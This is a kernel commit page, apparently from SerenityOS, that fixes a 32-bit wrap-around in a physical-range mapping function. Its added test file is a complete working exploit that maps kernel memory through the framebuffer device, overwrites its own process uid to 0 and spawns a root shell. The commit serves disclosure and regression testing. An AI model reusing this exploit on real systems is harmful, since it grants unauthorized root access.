Skip to content

Commit c17f80e

Browse files
committed
Kernel: AnonymousVMObject::create_for_physical_range() should fail more
Previously it was not possible for this function to fail. You could exploit this by triggering the creation of a VMObject whose physical memory range would wrap around the 32-bit limit. It was quite easy to map kernel memory into userspace and read/write whatever you wanted in it. Test: Kernel/bxvga-mmap-kernel-into-userspace.cpp
1 parent bd059e3 commit c17f80e

File tree

6 files changed

+109
-6
lines changed

6 files changed

+109
-6
lines changed

Kernel/Devices/BXVGADevice.cpp

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -116,10 +116,12 @@ KResultOr<Region*> BXVGADevice::mmap(Process& process, FileDescription&, Virtual
116116
ASSERT(offset == 0);
117117
ASSERT(size == framebuffer_size_in_bytes());
118118
auto vmobject = AnonymousVMObject::create_for_physical_range(m_framebuffer_address, framebuffer_size_in_bytes());
119+
if (!vmobject)
120+
return KResult(-ENOMEM);
119121
auto* region = process.allocate_region_with_vmobject(
120122
preferred_vaddr,
121123
framebuffer_size_in_bytes(),
122-
move(vmobject),
124+
vmobject.release_nonnull(),
123125
0,
124126
"BXVGA Framebuffer",
125127
prot);

Kernel/Devices/MBVGADevice.cpp

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,10 +55,12 @@ KResultOr<Region*> MBVGADevice::mmap(Process& process, FileDescription&, Virtual
5555
ASSERT(offset == 0);
5656
ASSERT(size == framebuffer_size_in_bytes());
5757
auto vmobject = AnonymousVMObject::create_for_physical_range(m_framebuffer_address, framebuffer_size_in_bytes());
58+
if (!vmobject)
59+
return KResult(-ENOMEM);
5860
auto* region = process.allocate_region_with_vmobject(
5961
preferred_vaddr,
6062
framebuffer_size_in_bytes(),
61-
move(vmobject),
63+
vmobject.release_nonnull(),
6264
0,
6365
"MBVGA Framebuffer",
6466
prot);

Kernel/VM/AnonymousVMObject.cpp

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,8 +32,12 @@ NonnullRefPtr<AnonymousVMObject> AnonymousVMObject::create_with_size(size_t size
3232
return adopt(*new AnonymousVMObject(size));
3333
}
3434

35-
NonnullRefPtr<AnonymousVMObject> AnonymousVMObject::create_for_physical_range(PhysicalAddress paddr, size_t size)
35+
RefPtr<AnonymousVMObject> AnonymousVMObject::create_for_physical_range(PhysicalAddress paddr, size_t size)
3636
{
37+
if (paddr.offset(size) < paddr) {
38+
dbg() << "Shenanigans! create_for_physical_range(" << paddr << ", " << size << ") would wrap around";
39+
return nullptr;
40+
}
3741
return adopt(*new AnonymousVMObject(paddr, size));
3842
}
3943

Kernel/VM/AnonymousVMObject.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ class AnonymousVMObject : public VMObject {
3434
virtual ~AnonymousVMObject() override;
3535

3636
static NonnullRefPtr<AnonymousVMObject> create_with_size(size_t);
37-
static NonnullRefPtr<AnonymousVMObject> create_for_physical_range(PhysicalAddress, size_t);
37+
static RefPtr<AnonymousVMObject> create_for_physical_range(PhysicalAddress, size_t);
3838
static NonnullRefPtr<AnonymousVMObject> create_with_physical_page(PhysicalPage&);
3939
virtual NonnullRefPtr<VMObject> clone() override;
4040

Kernel/VM/MemoryManager.cpp

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -313,11 +313,14 @@ OwnPtr<Region> MemoryManager::allocate_kernel_region(PhysicalAddress paddr, size
313313
ASSERT(!(size % PAGE_SIZE));
314314
auto range = kernel_page_directory().range_allocator().allocate_anywhere(size);
315315
ASSERT(range.is_valid());
316+
auto vmobject = AnonymousVMObject::create_for_physical_range(paddr, size);
317+
if (!vmobject)
318+
return nullptr;
316319
OwnPtr<Region> region;
317320
if (user_accessible)
318-
region = Region::create_user_accessible(range, AnonymousVMObject::create_for_physical_range(paddr, size), 0, name, access, cacheable);
321+
region = Region::create_user_accessible(range, vmobject.release_nonnull(), 0, name, access, cacheable);
319322
else
320-
region = Region::create_kernel_only(range, AnonymousVMObject::create_for_physical_range(paddr, size), 0, name, access, cacheable);
323+
region = Region::create_kernel_only(range, vmobject.release_nonnull(), 0, name, access, cacheable);
321324
region->map(kernel_page_directory());
322325
return region;
323326
}
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
#include <AK/Types.h>
2+
#include <fcntl.h>
3+
#include <stdio.h>
4+
#include <string.h>
5+
#include <sys/ioctl.h>
6+
#include <sys/mman.h>
7+
#include <unistd.h>
8+
9+
int main()
10+
{
11+
int fd = open("/dev/fb0", O_RDWR);
12+
if (fd < 0) {
13+
perror("open");
14+
return 1;
15+
}
16+
17+
size_t width = 17825;
18+
size_t height = 1000;
19+
size_t pitch = width * 4;
20+
size_t framebuffer_size_in_bytes = pitch * height * 2;
21+
22+
FBResolution original_resolution;
23+
if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
24+
perror("ioctl");
25+
return 1;
26+
}
27+
28+
FBResolution resolution;
29+
resolution.width = width;
30+
resolution.height = height;
31+
resolution.pitch = pitch;
32+
33+
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
34+
perror("ioctl");
35+
return 1;
36+
}
37+
38+
auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
39+
if (ptr == MAP_FAILED) {
40+
perror("mmap");
41+
return 1;
42+
}
43+
44+
printf("Success! Evil pointer: %p\n", ptr);
45+
46+
u8* base = &ptr[128 * MB];
47+
48+
uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
49+
printf("base = %p\n", base);
50+
printf("g_processes = %#08x\n", g_processes);
51+
52+
auto get_ptr = [&](uintptr_t value) -> void* {
53+
value -= 0xc0000000;
54+
return (void*)&base[value];
55+
};
56+
57+
struct ProcessList {
58+
uintptr_t head;
59+
uintptr_t tail;
60+
};
61+
62+
struct Process {
63+
// 32 next
64+
// 40 pid
65+
// 44 uid
66+
u8 dummy[32];
67+
uintptr_t next;
68+
u8 dummy2[4];
69+
pid_t pid;
70+
uid_t uid;
71+
};
72+
73+
ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
74+
75+
Process* process = (Process*)get_ptr(process_list->head);
76+
77+
printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
78+
79+
if (process->pid == getpid()) {
80+
printf("That's me! Let's become r00t!\n");
81+
process->uid = 0;
82+
}
83+
84+
if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
85+
perror("ioctl");
86+
return 1;
87+
}
88+
89+
execl("/bin/sh", "sh", nullptr);
90+
91+
return 0;
92+
}

0 commit comments

Comments
 (0)